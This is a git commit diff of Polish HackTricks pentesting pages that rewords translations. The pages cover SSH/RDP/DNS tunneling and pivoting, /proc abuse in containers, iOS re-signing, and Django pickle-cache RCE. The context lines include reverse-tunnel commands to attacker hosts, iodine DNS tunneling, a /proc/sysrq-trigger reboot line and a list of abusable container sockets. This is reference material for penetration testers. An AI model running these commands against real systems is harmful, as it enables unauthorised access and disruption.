mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
48340177de
commit
ee2beef5fd
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
Potrzebujesz **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
||||
Musisz mieć **root na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Bezpieczeństwo – Atak Terrapin (CVE-2023-48795)**
|
||||
> Atak degradacyjny Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'iem SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH.
|
||||
> Atak degradacyjny Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'em SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
Możesz **tunelować** przez **ssh** cały **ruch** do **podsieci** przez hosta.\
|
||||
Na przykład, przekazywanie całego ruchu idącego do 10.10.10.0/24
|
||||
Na przykład, przekazywanie całego ruchu kierowanego do 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -149,7 +149,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego host:port
|
||||
> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego hosta:port
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
@ -324,9 +324,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
```
|
||||
## Plink.exe
|
||||
|
||||
To jak wersja konsolowa PuTTY (opcje są bardzo podobne do klienta ssh).
|
||||
To jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh).
|
||||
|
||||
Ponieważ ten plik binarny będzie uruchamiany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
|
||||
Ponieważ ten plik binarny będzie wykonywany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
Musisz mieć **dostęp RDP do systemu**.\
|
||||
Pobierz:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC odpowiada za **tunneling pakietów przez połączenie RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC jest odpowiedzialne za **tunneling pakietów przez połączenie RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten sposób:
|
||||
@ -358,7 +358,7 @@ Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten spos
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **plugin SocksOverRDP jest włączony**, i będzie **nasłuchiwać** na **127.0.0.1:1080**.
|
||||
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **wtyczka SocksOverRDP jest włączona**, i będzie **nasłuchiwać** na **127.0.0.1:1080**.
|
||||
|
||||
**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary plik binarny `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
@ -368,18 +368,18 @@ Teraz potwierdź na swoim urządzeniu (atakującym), że port 1080 nasłuchuje:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyfikacji ruchu przez ten port.**
|
||||
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxy'owania ruchu przez ten port.**
|
||||
|
||||
## Proxyfikacja aplikacji GUI w Windows
|
||||
## Proxify aplikacje GUI Windows
|
||||
|
||||
Możesz sprawić, że aplikacje GUI w Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
|
||||
Możesz sprawić, że aplikacje GUI Windows będą korzystać z proxy, używając [**Proxifier**](https://www.proxifier.com/).\
|
||||
W **Profile -> Proxy Servers** dodaj IP i port serwera SOCKS.\
|
||||
W **Profile -> Proxification Rules** dodaj nazwę programu do proxyfikacji oraz połączenia do IP, które chcesz proxyfikować.
|
||||
W **Profile -> Proxification Rules** dodaj nazwę programu do proxy'owania oraz połączenia do IP, które chcesz proxy'ować.
|
||||
|
||||
## Ominięcie proxy NTLM
|
||||
|
||||
Wcześniej wspomniane narzędzie: **Rpivot**\
|
||||
**OpenVPN** może również to obejść, ustawiając te opcje w pliku konfiguracyjnym:
|
||||
**OpenVPN** również może to obejść, ustawiając te opcje w pliku konfiguracyjnym:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
@ -396,7 +396,7 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Teraz, jeśli na przykład ustawisz na ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\
|
||||
Teraz, jeśli ustawisz na przykład w ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\
|
||||
Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
|
||||
|
||||
## YARP
|
||||
@ -409,7 +409,7 @@ Odwrócony proxy stworzony przez Microsoft. Możesz go znaleźć tutaj: [https:/
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i tunelować dane między nimi za pomocą zapytań DNS.
|
||||
Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i przesyłać dane między nimi za pomocą zapytań DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -446,7 +446,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Zmień DNS w proxychains
|
||||
|
||||
Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnie serwer DNS, który używa proxychains, to **4.2.2.2** (wpisany na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w **środowisku Windows**, możesz ustawić adres IP **kontrolera domeny**.
|
||||
Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnym serwerem DNS, którego używa proxychains, jest **4.2.2.2** (wpisane na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w **środowisku Windows**, możesz ustawić adres IP **kontrolera domeny**.
|
||||
|
||||
## Tunelowanie w Go
|
||||
|
||||
@ -484,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
## ngrok
|
||||
|
||||
[**ngrok**](https://ngrok.com/) **to narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.**\
|
||||
_Adresy URI ekspozycji są jak:_ **UID.ngrok.io**
|
||||
_URI eksponowania wygląda jak:_ **UID.ngrok.io**
|
||||
|
||||
### Instalacja
|
||||
|
||||
@ -574,11 +574,11 @@ Rozpocznij łącznik:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Ponieważ cały ruch opuszcza host **wychodzący przez 443**, tunelowanie Cloudflared to prosty sposób na obejście ACL-ów przychodzących lub granic NAT. Należy pamiętać, że binarka zazwyczaj działa z podwyższonymi uprawnieniami – używaj kontenerów lub flagi `--user`, gdy to możliwe.
|
||||
Ponieważ cały ruch opuszcza hosta **wychodząc przez 443**, tunelowanie Cloudflared to prosty sposób na obejście ACL-ów przychodzących lub granic NAT. Należy pamiętać, że binarka zazwyczaj działa z podwyższonymi uprawnieniami – używaj kontenerów lub flagi `--user`, gdy to możliwe.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) to aktywnie utrzymywany proxy odwrotne w Go, które obsługuje **TCP, UDP, HTTP/S, SOCKS i P2P NAT-hole-punching**. Począwszy od **v0.53.0 (maj 2024)**, może działać jako **SSH Tunnel Gateway**, dzięki czemu docelowy host może uruchomić odwrotny tunel, używając tylko standardowego klienta OpenSSH – nie jest wymagana dodatkowa binarka.
|
||||
[`frp`](https://github.com/fatedier/frp) to aktywnie utrzymywany proxy odwrotne w Go, które obsługuje **TCP, UDP, HTTP/S, SOCKS i P2P NAT-hole-punching**. Począwszy od **v0.53.0 (maj 2024)** może działać jako **SSH Tunnel Gateway**, dzięki czemu docelowy host może uruchomić odwrotny tunel, używając tylko standardowego klienta OpenSSH – nie jest wymagana dodatkowa binarka.
|
||||
|
||||
### Klasyczny odwrotny tunel TCP
|
||||
```bash
|
||||
|
@ -50,7 +50,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Odniesione w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killer, gdy występuje warunek OOM.
|
||||
- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killer, gdy wystąpi warunek OOM.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
@ -89,7 +89,7 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Wymienia eksportowane symbole jądra i ich adresy.
|
||||
- Kluczowe dla rozwoju exploitów jądra, szczególnie w celu pokonania KASLR.
|
||||
- Niezbędne do rozwoju exploitów jądra, szczególnie w celu pokonania KASLR.
|
||||
- Informacje o adresach są ograniczone, gdy `kptr_restrict` jest ustawione na `1` lub `2`.
|
||||
- Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
@ -109,7 +109,7 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- Alternatywny interfejs dla `/dev/kmem`, reprezentujący wirtualną pamięć jądra.
|
||||
- Umożliwia odczyt i zapis, a tym samym bezpośrednią modyfikację pamięci jądra.
|
||||
- Umożliwia odczyt i zapis, a zatem bezpośrednią modyfikację pamięci jądra.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
@ -293,7 +293,7 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent
|
||||
```text
|
||||
/run/containerd/containerd.sock # gniazdo CRI containerd
|
||||
/var/run/crio/crio.sock # gniazdo runtime CRI-O
|
||||
/run/podman/podman.sock # API Podman (z uprawnieniami root lub bez)
|
||||
/run/podman/podman.sock # API Podman (z uprawnieniami lub bez)
|
||||
/var/run/kubelet.sock # API Kubelet na węzłach Kubernetes
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Główna idea
|
||||
|
||||
Aplikacje podpisane z **uprawnieniem `get_task_allow`** pozwalają aplikacjom stron trzecich uruchomić funkcję **`task_for_pid()`** z identyfikatorem procesu początkowej aplikacji jako argument, aby uzyskać port zadania nad nią (móc ją kontrolować i uzyskać dostęp do jej pamięci).
|
||||
Aplikacje podpisane z **uprawnieniem `get_task_allow`** pozwalają aplikacjom innych firm na uruchomienie funkcji **`task_for_pid()`** z identyfikatorem procesu początkowej aplikacji jako argumentem, aby uzyskać port zadania nad nią (móc ją kontrolować i uzyskać dostęp do jej pamięci).
|
||||
|
||||
Jednak nie jest to tak proste, jak po prostu pobranie IPA, ponowne podpisanie go z uprawnieniem i wgranie z powrotem na urządzenie. Dzieje się tak z powodu ochrony FairPlay. Gdy podpis aplikacji się zmienia, klucz DRM (Digital Rights Management) jest **unieważniony i aplikacja nie będzie działać**.
|
||||
|
||||
@ -63,28 +63,28 @@ ideviceinstaller -i resigned.ipa -w
|
||||
|
||||
### Włącz tryb dewelopera (iOS 16+)
|
||||
|
||||
Od iOS 16 Apple wprowadziło **Tryb Dewelopera**: każdy binarny plik, który zawiera `get_task_allow` *lub* jest podpisany certyfikatem dewelopera, odmówi uruchomienia, dopóki Tryb Dewelopera nie zostanie włączony na urządzeniu. Nie będziesz również mógł dołączyć Frida/LLDB, chyba że ten flag jest włączony.
|
||||
Od iOS 16 Apple wprowadziło **Tryb dewelopera**: każdy binarny plik, który zawiera `get_task_allow` *lub* jest podpisany certyfikatem deweloperskim, odmówi uruchomienia, dopóki tryb dewelopera nie zostanie włączony na urządzeniu. Nie będziesz również mógł dołączyć Frida/LLDB, chyba że ten flag jest włączony.
|
||||
|
||||
1. Zainstaluj lub wgraj **dowolny** IPA podpisany przez dewelopera na telefon.
|
||||
1. Zainstaluj lub wgraj **dowolny** podpisany przez dewelopera plik IPA na telefon.
|
||||
2. Przejdź do **Ustawienia → Prywatność i bezpieczeństwo → Tryb dewelopera** i włącz go.
|
||||
3. Urządzenie zrestartuje się; po wprowadzeniu kodu dostępu zostaniesz poproszony o **Włączenie** Trybu Dewelopera.
|
||||
3. Urządzenie zrestartuje się; po wprowadzeniu kodu dostępu zostaniesz poproszony o **Włączenie** trybu dewelopera.
|
||||
|
||||
Tryb Dewelopera pozostaje aktywny, dopóki go nie wyłączysz lub nie wyczyścisz telefonu, więc ten krok należy wykonać tylko raz na urządzenie. [Dokumentacja Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) wyjaśnia implikacje bezpieczeństwa.
|
||||
Tryb dewelopera pozostaje aktywny, dopóki go nie wyłączysz lub nie wyczyścisz telefonu, więc ten krok należy wykonać tylko raz na urządzenie. [Dokumentacja Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) wyjaśnia implikacje bezpieczeństwa.
|
||||
|
||||
### Nowoczesne opcje sideloadingu
|
||||
|
||||
Obecnie istnieje kilka dojrzałych sposobów na sideloading i utrzymywanie aktualnych IPA z ponownym podpisywaniem bez jailbreaka:
|
||||
Obecnie istnieje kilka dojrzałych sposobów na sideloading i utrzymywanie podpisanych plików IPA na bieżąco bez jailbreaka:
|
||||
|
||||
| Narzędzie | Wymagania | Mocne strony | Ograniczenia |
|
||||
|-----------|-----------|--------------|--------------|
|
||||
| **AltStore 2 / SideStore** | macOS/Windows/Linux jako towarzysz, który ponownie podpisuje IPA co 7 dni z darmowym profilem dewelopera | Automatyczne przeładowanie przez Wi-Fi, działa do iOS 17 | Wymaga komputera w tej samej sieci, limit 3 aplikacji narzucony przez Apple |
|
||||
| **TrollStore 1/2** | Urządzenie na iOS 14 – 15.4.1 podatne na błąd CoreTrust | *Permanentne* podpisywanie (brak limitu 7 dni); brak komputera wymagany po zainstalowaniu | Nieobsługiwane na iOS 15.5+ (błąd naprawiony) |
|
||||
| **AltStore 2 / SideStore** | macOS/Windows/Linux jako towarzysz, który podpisuje IPA co 7 dni za pomocą darmowego profilu dewelopera | Automatyczne przeładowanie przez Wi-Fi, działa do iOS 17 | Wymaga komputera w tej samej sieci, limit 3 aplikacji nałożony przez Apple |
|
||||
| **TrollStore 1/2** | Urządzenie na iOS 14 – 15.4.1 podatne na błąd CoreTrust | *Permanentne* podpisywanie (brak limitu 7 dni); brak potrzeby komputera po zainstalowaniu | Nieobsługiwane na iOS 15.5+ (błąd naprawiony) |
|
||||
|
||||
Dla rutynowych pentestów na aktualnych wersjach iOS Alt/Side-Store są zazwyczaj najbardziej praktycznym wyborem.
|
||||
Dla rutynowych testów pentestowych na aktualnych wersjach iOS Alt/Side-Store są zazwyczaj najbardziej praktycznym wyborem.
|
||||
|
||||
### Hooking / dynamiczna instrumentacja
|
||||
|
||||
Możesz podłączyć swoją aplikację dokładnie tak, jak na urządzeniu z jailbreakiem, gdy jest podpisana z `get_task_allow` **i** Tryb Dewelopera jest włączony:
|
||||
Możesz podłączyć swoją aplikację dokładnie tak, jak na urządzeniu z jailbreakiem, gdy jest podpisana z `get_task_allow` **i** tryb dewelopera jest włączony:
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -94,9 +94,9 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
||||
```
|
||||
Najnowsze wydania Frida (>=16) automatycznie obsługują uwierzytelnianie wskaźników i inne środki zaradcze iOS 17, więc większość istniejących skryptów działa od razu.
|
||||
|
||||
### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreaka)
|
||||
### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreak)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`) i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【turn6view0†L2-L3】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`), i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【turn6view0†L2-L3】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
@ -104,14 +104,14 @@ docker run -p 8000:8000 --privileged \
|
||||
opensecurity/mobile-security-framework-mobsf:latest
|
||||
# Browse to http://127.0.0.1:8000 and upload your resigned IPA
|
||||
```
|
||||
MobSF automatycznie wdroży binarny plik, włączy serwer Frida w sandboxie aplikacji i wygeneruje interaktywny raport.
|
||||
MobSF automatycznie wdroży binarny plik, włączy serwer Frida wewnątrz piaskownicy aplikacji i wygeneruje interaktywny raport.
|
||||
|
||||
### iOS 17 i uwagi dotyczące trybu blokady
|
||||
|
||||
* **Tryb blokady** (Ustawienia → Prywatność i bezpieczeństwo) blokuje dynamiczny linker przed ładowaniem niesygnowanych lub zewnętrznie sygnowanych bibliotek dynamicznych. Podczas testowania urządzeń, które mogą mieć włączony ten tryb, upewnij się, że jest **wyłączony**, inaczej sesje Frida/objection zakończą się natychmiast.
|
||||
* Uwierzytelnianie wskaźników (PAC) jest egzekwowane w całym systemie na urządzeniach A12 i nowszych. Frida ≥16 transparentnie obsługuje usuwanie PAC — wystarczy, że będziesz na bieżąco aktualizować zarówno *frida-server*, jak i narzędzia Python/CLI, gdy pojawi się nowa główna wersja iOS.
|
||||
|
||||
## Odniesienia
|
||||
## Referencje
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
- Dokumentacja dewelopera Apple – Włączanie trybu dewelopera na urządzeniu: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
|
||||
|
@ -1,13 +1,13 @@
|
||||
# Django
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
||||
## Manipulacja pamięcią podręczną do RCE
|
||||
Domyślną metodą przechowywania pamięci podręcznej w Django są [Python pickles](https://docs.python.org/3/library/pickle.html), co może prowadzić do RCE, jeśli [niezaufany input jest odpakowywany](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Jeśli atakujący uzyska dostęp do zapisu w pamięci podręcznej, może eskalować tę podatność do RCE na serwerze bazowym**.
|
||||
|
||||
Pamięć podręczna Django jest przechowywana w jednym z czterech miejsc: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [pamięci](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [plikach](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) lub w [bazie danych](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Pamięć podręczna przechowywana na serwerze Redis lub w bazie danych jest najbardziej prawdopodobnym wektorem ataku (iniekcja Redis i iniekcja SQL), ale atakujący może również wykorzystać pamięć podręczną opartą na plikach, aby przekształcić dowolny zapis w RCE. Utrzymujący oznaczyli to jako problem, który nie wymaga uwagi. Ważne jest, aby zauważyć, że folder plików pamięci podręcznej, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji.
|
||||
|
||||
Ten raport HackerOne dostarcza świetnego, powtarzalnego przykładu wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436
|
||||
Ten raport HackerOne dostarcza świetny, powtarzalny przykład wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
@ -65,8 +65,8 @@ Wyślij wynikowe ciasteczko, a ładunek działa z uprawnieniami pracownika WSGI.
|
||||
---
|
||||
|
||||
## Ostatnie (2023-2025) Wysokiego Wpływu CVE Django, które powinni sprawdzić pentesterzy
|
||||
* **CVE-2025-48432** – *Wstrzykiwanie logów przez nieucieczone `request.path`* (naprawione 4 czerwca 2025). Pozwala atakującym na przemycanie nowych linii/kodów ANSI do plików logów i zanieczyszczanie analizy logów w dół. Poziom łaty ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Krytyczne wstrzykiwanie SQL* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Twórz klucze JSON, aby wydostać się z cytatów i wykonywać dowolne SQL. Naprawione w 4.2.15 / 5.0.8.
|
||||
* **CVE-2025-48432** – *Wstrzykiwanie logów przez nieescapowany `request.path`* (naprawione 4 czerwca 2025). Umożliwia atakującym wprowadzenie nowych linii/kodów ANSI do plików dziennika i zanieczyszczenie analizy logów w dół. Poziom łaty ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Krytyczne wstrzykiwanie SQL* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Twórz klucze JSON, aby wydostać się z cytatów i wykonać dowolne SQL. Naprawione w 4.2.15 / 5.0.8.
|
||||
|
||||
Zawsze identyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i testuj powyższe tam, gdzie to możliwe.
|
||||
|
||||
@ -76,4 +76,4 @@ Zawsze identyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Fr
|
||||
* Wydanie zabezpieczeń Django – "Django 5.2.2, 5.1.10, 4.2.22 adresuje CVE-2025-48432" – 4 czerwca 2025.
|
||||
* OP-Innovate: "Django wydaje aktualizacje zabezpieczeń w celu rozwiązania problemu z wstrzykiwaniem SQL CVE-2024-42005" – 11 sierpnia 2024.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
@ -58,10 +58,10 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
|
||||
|
||||
- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`**, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość **`hit`**, gdy jest zapisane w pamięci podręcznej
|
||||
- Podobne zachowanie w nagłówku **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** wskazuje, czy zasób jest zapisywany w pamięci podręcznej i kiedy będzie następny raz zapisywany: `Cache-Control: public, max-age=1800`
|
||||
- **`Cache-Control`** wskazuje, czy zasób jest przechowywany w pamięci podręcznej i kiedy zasób zostanie ponownie zapisany w pamięci podręcznej: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** jest często używane w odpowiedzi do **wskazania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane.
|
||||
- **`Age`** definiuje czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** również wskazuje, że zasób był zapisany w pamięci podręcznej
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** również wskazuje, że zasób był przechowywany w pamięci podręcznej
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
@ -90,14 +90,14 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
|
||||
|
||||
## Informacje o ciele wiadomości
|
||||
|
||||
- **`Content-Length`:** Rozmiar zasobu, w dziesiętnej liczbie bajtów.
|
||||
- **`Content-Length`:** Rozmiar zasobu, w dziesiętnych bajtach.
|
||||
- **`Content-Type`**: Wskazuje typ mediów zasobu
|
||||
- **`Content-Encoding`**: Używane do określenia algorytmu kompresji.
|
||||
- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnych preferencji językowych.
|
||||
- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnego preferowanego języka.
|
||||
- **`Content-Location`**: Wskazuje alternatywną lokalizację dla zwróconych danych.
|
||||
|
||||
Z punktu widzenia pentestów te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i możesz znaleźć jakiś **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\
|
||||
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnić zawartość strony za pomocą żądań HEAD:
|
||||
Z punktu widzenia pentestu te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i możesz znaleźć jakiś **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\
|
||||
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawniać zawartość strony za pomocą żądań HEAD:
|
||||
|
||||
- Żądanie z nagłówkiem `Range: bytes=20-20` i odpowiedzią zawierającą `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` ujawnia, że SHA1 bajtu 20 to `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
@ -181,23 +181,23 @@ Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
